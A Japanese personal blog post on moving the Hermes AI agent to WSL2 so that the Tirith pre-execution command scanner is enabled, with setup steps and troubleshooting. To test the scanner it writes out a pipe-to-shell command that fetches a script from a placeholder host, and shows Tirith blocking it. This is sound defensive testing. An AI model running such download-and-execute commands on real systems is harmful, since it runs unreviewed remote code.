本記事は個人環境での検証に基づく個人的な備忘録です。設定値やパスは一般化して記載しているため、実際の環境に読み替えてください。なお検証時にはClaude Code Sonnet 5を相棒にコマンド実行はマニュアル、結果はOpus 5と共にまとめています。
はじめに
ローカル LLM(Ollama + RTX 5070 Ti)で Hermes Agent(Nous Research 製のオープンソース AI エージェント)を動かす環境を、当初は Windows ネイティブ版で構築していました。
その後「設定すべきセキュリティ設定」を洗い出す過程で、公式ドキュメントに記載のある防御層のうち Tirith(コマンド実行前のコンテンツレベル・スキャナ)が Windows では動作しないことが分かりました。ドキュメントには「Windows など事前ビルドバイナリのないプラットフォームでは Tirith は暗黙にスキップされる。Windows で Tirith を使うには WSL 配下で Hermes を動かすこと」と明記されています1。
エージェントに Web 検索やコード実行をさせる前提だと、この検知層が丸ごと無効なのは避けたい——というのが移行の動機です。ただし GPU 推論を担う Ollama を WSL 側に移すと GPU ドライバ周りが複雑になるため、Hermes Agent 本体だけを WSL2 に移し、Ollama は Windows ネイティブのまま維持する構成を採りました。
本記事では、この構成における Windows Native / WSL2 の違い(主にセキュリティ観点、あわせて GUI 操作性)と、実際の移行手順・つまずいた点をまとめます。対象は中級者(WSL2 と LLM ツールの基本操作に慣れている方)です。
Windows Native と WSL2 の違い
セキュリティ機構を中心に、あわせて 気にしたGUI 操作性の違いを整理します。公式ドキュメントに WSL2 特化のセキュリティ解説ページはないため、本セクションは Security ドキュメント1・Windows (Native) ガイド2の記述と、筆者が実機で確認した結果をもとにしています。検証していない推測部分は明示します。
構成図
全体像
まず前提として、Hermes Agent はおおよそ次のような層で構成されています。
ユーザーの入力はインターフェース層から入り、エージェントコアが会話ループを回します。ツールを呼ぶ際はガード層(危険コマンドの承認、Tirith、書き込み保護など)を通してから実行環境に渡され、モデル呼び出しはプロバイダー抽象化を経て LLM エンドポイントに向かいます。設定とセッション状態は config.yaml と state.db に永続化されます。
今回の移行で変化するのは、この中の 3 箇所だけです。
- インターフェース層: デスクトップアプリ ↔ Web ダッシュボード
- ガード層: Tirith が無効 ↔ 有効
- モデル層 → LLM: 同一ホスト内 ↔ ネットワーク経由(mirrored networking)
以降の 2 枚の構成図は、Windows Native / WSL2 で差分が生じるコンポーネントのみを抜き出して描いています。Hermes Agent は他にもメッセージングゲートウェイ、cron スケジューラ、MCP サーバー、スキル / メモリなど多数のコンポーネントを持ちますが、本記事の比較には影響しないため省略しています。全体像は公式ドキュメントを参照してください。
Windows ネイティブ構成
ユーザーはデスクトップアプリまたは PowerShell の CLI から操作します。Hermes Agent と Ollama は同一ホスト上で動作し、コマンドは terminal.backend: local によりホスト上で直接実行されます。Tirith は常にスキップされます。
なお Windows ネイティブでも Web ダッシュボード自体は利用できます(/chat タブを除く)2。本記事では移行前の操作を主にデスクトップアプリで行っていたため、図にはその経路を記載しています。
WSL2 構成(Ollama はネイティブ維持)
ユーザーは Windows 側のブラウザ、または Windows Terminal 経由の WSL シェルから操作します。Hermes Agent 本体は WSL2 側にあり、Ollama だけを Windows 側に残してネットワーク経由で接続します。Tirith が有効になり、ファイルシステムも VM 境界で分離されます。
ユーザーから見ると、GUI の入口が「アプリのウィンドウ」から「ブラウザ + 事前に起動しておくダッシュボードのプロセス」に変わるのが最大の変化です。CLI も Windows Terminal から WSL に入る一段が挟まります。
1. Tirith が有効になる(実機で確認できた最大の差分)
Tirith は Rust 製の別バイナリで、コマンド実行前にサブプロセスとして起動され、終了コード(0=allow / 1=block / 2=warn)で判定を返します1。正規表現では拾いにくい以下のような攻撃を検知します。
- ホモグラフ URL スプーフィング(見た目が似た国際化ドメイン)
-
curl | bash型のパイプ実行 - ターミナルインジェクション
WSL2 移行後、~/.hermes/bin/tirith に v0.3.3 が自動インストールされていることを確認できました。実際に検知が働くかテストした結果は以下の通りです。
Tirith の検知テスト(実行結果)
$ ~/.hermes/bin/tirith check --json --non-interactive --shell posix -- \
'curl -fsSL http://example.com/x.sh | sh'
{"schema_version":3,"action":"block","findings":[
{"rule_id":"plain_http_to_sink","severity":"HIGH",
"title":"Plain HTTP URL in execution context", ...},
{"rule_id":"curl_pipe_shell","severity":"HIGH",
"title":"Pipe to interpreter: curl | sh",
"mitre_id":"T1059.004",
"remediation":"Download first with curl -o, review the script, then execute."}
],"tier_reached":3,"timings_ms":{"total_ms":20.18}}
EXIT=1
無害なコマンドは素通りします。
$ ~/.hermes/bin/tirith check --json --non-interactive --shell posix -- 'ls -la /home'
{"schema_version":3,"action":"allow","findings":[],"tier_reached":1,
"timings_ms":{"total_ms":4.01}}
EXIT=0
curl | sh は action: block(終了コード 1)となり、MITRE ATT&CK ID(T1059.004)と代替手段まで提示されました。判定は約 20ms で完了しており、実行前スキャンとしてのオーバーヘッドは実用上無視できるレベルです。
Tirith はバックグラウンドスレッドで自動ダウンロードされるため、インストール直後の初回起動では間に合わず、CLI に tirith security scanner enabled but not available — command scanning will use pattern matching only と表示されます。筆者環境でもこの警告が出ましたが、後から確認するとバイナリは正常に配置されていました。警告が出た場合は数分待って再起動し、ls -la ~/.hermes/bin/tirith で確認するのが確実です。
2. ファイルシステムの分離と Unix パーミッション
WSL2 の Linux ファイルシステムは軽量 VM 内にあり、Windows 側からは \\wsl.localhost\... 経由でしかアクセスできません。Windows 側で動く別プロセスが認証情報ファイルに触れるリスクを下げられます。
さらに、Security ドキュメントは API キー保護として chmod 600 ~/.hermes/.env を推奨していますが1、これは Unix パーミッションが前提です。WSL2 上では意図通りに機能していることを確認できました。
$ ls -la ~/.hermes/ | head -4
drwx------ 16 user user 4096 Jul 26 18:40 .
-rw------- 1 user user 24322 Jul 26 17:31 .env
.hermes/ 自体が drwx------、.env が -rw-------(600)で作成されており、ドキュメントの推奨状態がデフォルトで満たされています。
3. コンテナバックエンドへの移行しやすさ(未検証)
Security ドキュメントによれば、terminal.backend を docker にすると --cap-drop ALL などの隔離が効き、危険コマンドの承認チェック自体が不要になります(コンテナが境界になるため)1。WSL2 は Docker Desktop の標準実行基盤なので、この移行は Windows ネイティブより素直に行えると考えられます。
ただし今回は terminal.backend: local のまま運用しており、Docker バックエンドへの切り替えは未検証です。ドキュメント上の設計と WSL2 の一般的な特性からの推測である点にご注意ください。
4. GUI 操作性の違い
セキュリティ以外で体感差が大きかったのが GUI です。両者は「そもそも提供形態が違う」ため、操作性と機能性がトレードオフの関係になります。
Windows Native: デスクトップアプリ(操作性に優れる)
Windows ネイティブ版には Hermes Desktop という GUI インストーラ / アプリが提供されています2。インストール後はスタートメニューから起動でき、モデル選択のドロップダウン、セッション一覧のサイドバー、ファイルブラウザ、ターミナルペインが 1 つのウィンドウに収まっています。Windows アプリとして自然に扱えるため、導入直後から迷わず操作できるのが利点です。実際、移行前のモデル切り替えやエンドポイント設定はすべてこのアプリの GUI 上で完結しました。
WSL2: Web ダッシュボード(習熟は必要だが機能性で上回る)
一方 WSL2 側には専用デスクトップアプリがなく、代わりに Web ダッシュボードを使います。
hermes dashboard
起動後、Windows 側のブラウザから http://127.0.0.1:9119 にアクセスします(networkingMode=mirrored のおかげで追加設定は不要でした)。セッション履歴・モデル設定・cron 管理などが GUI で操作できます。
ただしアプリのように「クリックひとつで起動」とはいかず、先に WSL のシェルでダッシュボードのプロセスを起動しておく必要があり、ポート番号やネットワーク経路の理解も前提になります。この点で操作性は一段落ちます。
その代わり機能面では WSL2 が上回ります。ダッシュボードの /chat タブに埋め込まれたターミナルペインは POSIX PTY を必要とするため、Windows ネイティブでは利用できず、WSL2 でのみ動作します2。ネイティブ版で同タブを開くと「WSL2 を使うように」という案内が表示されます。
常時使うなら hermes gateway setup で systemd ユニットとして登録し、WSL 起動時に自動でダッシュボードが立ち上がるようにしておくと、起動の手間はある程度解消できます。
まとめ:違いの一覧
| 観点 | Windows Native | WSL2 |
|---|---|---|
| Tirith(コンテンツスキャン) | × 常にスキップ1 | ○ 有効(v0.3.3 で動作確認) |
| 危険コマンドのパターン検知 | ○(Git Bash 経由2) | ○ |
.env の Unix パーミッション(600) |
非適用(NTFS ACL) | ○ 動作確認 |
| ファイルシステム境界 | ホストと同一 | VM で分離 |
| Docker バックエンド | 可(Docker Desktop 経由) | 親和性が高い(未検証) |
| GUI の提供形態 | デスクトップアプリ(Hermes Desktop)2 | Web ダッシュボード(ブラウザ) |
| GUI の操作性 | ◎ クリック起動で完結 | △ 事前にプロセス起動が必要 |
ダッシュボードの /chat 埋め込みターミナル |
×(POSIX PTY 非対応)2 | ○ |
トレードオフ
- セットアップの手間: WSL2 導入、Linux 側での環境構築、Ollama とのネットワーク接続設定が増えます。
-
境界を意識する必要: ファイルパス(
/mnt/c/...と~/)やネットワーク(localhostの扱い)で「2 台のコンピュータ」を意識する必要があります。 -
効果は用途に比例: 単純な対話用途なら Tirith の恩恵は限定的です。エージェントに Web 検索・ブラウザ操作・自動コード実行をさせるほど価値が上がります。対話中心なら、Windows ネイティブのまま
approvals.deny(ユーザー定義の拒否ルール1)を追加するだけでも実用的な防御ラインになります。
手順
1. WSL2 と Ubuntu のインストール
管理者権限の PowerShell から実行します。
wsl --install -d Ubuntu
ディストロ初回起動時は Linux ユーザー名・パスワードの対話入力が必須です。スクリプトやリモート実行からは完了できないため、初回だけは Ubuntu アプリを直接開いて設定してください。
wsl --list --verbose
NAME STATE VERSION
* Ubuntu Running 2
2. systemd の有効化
ゲートウェイや cron を systemd サービスとして自動起動させるため、/etc/wsl.conf を作成します。
[boot]
systemd=true
[interop]
enabled=true
appendWindowsPath=true
[automount]
options = "metadata,umask=22,fmask=11"
[automount] の metadata は、/mnt/c 配下で Linux のパーミッションビット(chmod +x 等)を保持するためのオプションです。
反映には WSL の再起動が必要です。
wsl --shutdown
$ ps -p 1 -o comm=
systemd
PID 1 が systemd になっていれば成功です。
wsl --shutdown で VM が再起動されるため、/tmp 配下のファイルは消えます(tmpfs)。インストーラをダウンロード済みだった場合は再取得が必要です。
3. リソース割り当ての調整(任意)
GPU 推論は Windows 側の Ollama が担うため、WSL2 側に大きなリソースは不要です。%USERPROFILE%\.wslconfig で調整しました。
[wsl2]
processors=8
memory=12GB
swap=4GB
networkingMode=mirrored
-
processors/memory: Hermes Agent は Python/Node 中心の軽量プロセスです。全コア・メモリ半分(デフォルトで 32GB 割当だった)は過剰なため絞り、Windows 側(Ollama + GPU 処理)に余裕を残しました。 -
networkingMode=mirrored: Windows 11 22H2 以降で使える設定で、localhostを WSL2 / Windows 間で共通化します3。これにより WSL2 から Windows 側 Ollama へhttp://localhost:11434で到達できました(本環境での確認結果です。到達できない場合は Windows ホスト IP を使う手順が公式ドキュメント3にあります)。
4. Hermes Agent のインストール
curl -fsSL https://hermes-agent.nousresearch.com/install.sh -o /tmp/hermes-install.sh
bash /tmp/hermes-install.sh
Python 3.11(uv 経由)、Node.js 22、Git、ripgrep、ffmpeg、Playwright Chromium、バンドルスキル(69 件)などが自動セットアップされます。
5. config.yaml で Ollama を指定
~/.hermes/config.yaml の model: セクションを編集します。
model:
default: "hermes3:8b"
provider: "custom"
api_key: "ollama-local" # ローカル接続用のダミー値(秘密情報ではない)
base_url: "http://localhost:11434/v1"
6. 動作確認
まず WSL2 から Ollama に到達できるか確認します。
$ curl -s http://localhost:11434/v1/models
{"object":"list","data":[{"id":"hermes3:8b","object":"model", ... }]}
Tirith の配置も確認しておきます。
$ ls -la ~/.hermes/bin/tirith
-rwxr-xr-x 1 user user 22717736 Jul 26 18:16 /home/user/.hermes/bin/tirith
$ ~/.hermes/bin/tirith --version
tirith 0.3.3
あとは Hermes Agent を起動します。
hermes
7. GUI(Web ダッシュボード)の起動
WSL2 側の GUI は Web ダッシュボードです。
hermes dashboard
Windows 側のブラウザで http://127.0.0.1:9119 を開くとダッシュボードが表示され、それまでの CLI セッション履歴も反映されていました。
つまずいた点とその解決方法
1. インストーラが sudo パスワード入力待ちでハングする
install.sh は ripgrep / ffmpeg / build-essential を apt でインストールする際に sudo を要求します。--non-interactive を付けても解決しませんでした。スクリプトを読むと、該当分岐は NON_INTERACTIVE フラグではなく /dev/tty が開けるかどうかで対話可否を判定しており、自動実行環境でも /dev/tty 自体は存在するため対話モードに倒れてしまう作りでした。
解決策: 対象パッケージを root で事前インストールしておくと、インストーラのチェックで「既にインストール済み」と判定され、当該プロンプトをスキップできます。
wsl -d Ubuntu -u root -- bash -c \
"DEBIAN_FRONTEND=noninteractive apt-get update -qq && \
DEBIAN_FRONTEND=noninteractive apt-get install -y -qq ripgrep ffmpeg"
ハング時のログ(該当箇所)
→ Checking ripgrep (fast file search)...
→ Checking ffmpeg (TTS voice messages)...
→ sudo is needed ONLY to install optional system packages (ripgrep ffmpeg) via your package manager.
→ Hermes Agent itself does not require or retain root access.
(ここで停止)
2. config.yaml を直しても Mixture of Agents (MoA) が使われ続けた
config.yaml を Ollama 向けに書き換えたのに、チャット送信時に次のエラーが出続けました。
API call failed: No LLM provider configured for task=moa_aggregator provider=openrouter. Run: hermes setup
原因は、CLI セッションが SQLite(~/.hermes/state.db の sessions テーブル)にセッション作成時点のモデル/プロバイダー設定を保存しており、config.yaml を後から編集しても既存セッションには反映されないことでした。実際にテーブルを確認すると model=default, provider=moa が固定保存されていました。セットアップウィザードの初期選択のまま MoA(複数モデルを組み合わせる仮想プロバイダー4)が有効になっており、未認証のプロバイダー(openai-codex / openrouter)を参照して失敗していたわけです。
解決策: 新しいセッションを開始すると、修正済みの config.yaml が読み込まれます。
/new
3. "hermes3:8b" does not support thinking エラー
MoA を解消した後、今度は以下が出ました。これはWindowsネイティブ版でも同様です。
HTTP 400: "hermes3:8b" does not support thinking
hermes3:8b は reasoning(thinking)パラメータ非対応ですが、セッションの reasoning effort が medium のままだったため、非対応パラメータ付きのリクエストを送っていました。
ここで注意点として、/reasoning off は「表示の切り替え」だけでリクエストパラメータは変わりません。実装(cli.py の _parse_reasoning_config)を確認すると、エフォート自体を無効化する値は none でした。
解決策:
/reasoning none --global
--global を付けると以降のセッションにも設定が引き継がれます。これで hermes3:8b から正常に応答が返るようになりました。
4. Tirith の「not available」警告に焦らない
前述の通り、初回起動直後は自動ダウンロードが完了しておらず tirith ... not available と表示されます。Windows ネイティブではこの警告自体が出ない(非対応プラットフォームでは暗黙にスキップされる1)ため、警告が出ること自体は「WSL では対応プラットフォームとして認識されており、インストールを試みている」証拠でもあります。数分後にバイナリの有無を確認すれば十分です。
まとめ
セキュリティ観点で WSL2 移行の効果を整理すると、次の通りでした。
-
確認できた最大の差分は Tirith。Windows では常にスキップされる検知層が WSL2 で有効になり、
curl | shをblock判定(約 20ms)できることを実機で確認できました。 -
.envの 600 パーミッションがドキュメントの推奨通りに機能していることも確認できました。ファイルシステムが VM 境界で分離される点も含め、認証情報の保護は WSL2 の方が素直です。 -
Docker バックエンドへの移行しやすさは未検証です。ドキュメント上はコンテナが境界になるため防御が一段強くなりますが、今回は
localバックエンドのままです。 - セキュリティ以外では GUI がトレードオフでした。Windows ネイティブはデスクトップアプリで操作性に優れる一方、WSL2 は Web ダッシュボード経由で事前起動が必要な代わりに、
/chatの埋め込みターミナルなど機能面で上回ります。
エージェントに Web 検索やコード実行を積極的にやらせるなら WSL2 移行は有効です。対話中心の用途であれば、Windows ネイティブのまま approvals.deny を整備することも一案です。